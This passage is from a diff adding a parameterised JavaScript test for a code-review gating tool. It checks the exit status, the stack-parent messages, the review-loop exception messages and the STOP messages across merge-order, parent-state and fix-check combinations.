'REVIEW_LOOP_EXCEPTION') }; + } + + test.each(cells)('merged %s the landing × parent %s × fix-check head %s', (order, state, at) => { + const notLanded = ['', expect.stringContaining('nor a landed stack parent')]; + const probe = cell(order, state, at, true); + expect(probe.r.status).toBe(3); + if (order === 'never' || state !== 'edited') expect([probe.base, probe.stop]).toEqual(notLanded); + else { + expect(probe.base).toContain(`stack parent ${probe.parent.slice(0, 12)} landed`); + expect(probe.loop).toStartWith('REVIEW_LOOP_EXCEPTION: accepted src/child.ts ('); + expect(probe.stop).toStartWith('STOP: behavior, tests or build inputs changed since review ('); + for (const p of ['package.json', 'src/other.ts', 'src/policy.ts']) expect(probe.stop).toContain(p); + } + const control = cell(order, state, at, false); + expect(control.r.status).toBe(3); + if (order === 'never' || state === 'unlanded') { expect([control.base, control.stop]).toEqual(notLanded); return; } + expect(control.base).toContain(`stack parent ${control.parent.slice(0, 12)} landed`); + expect([control.loop, control.stop]).toEqual([expect.stringMatching(/^REVIEW_LOOP_EXCEPTION: accepted src\/child\.ts \(/), behaviorStop('src/other.ts')]); + }); +});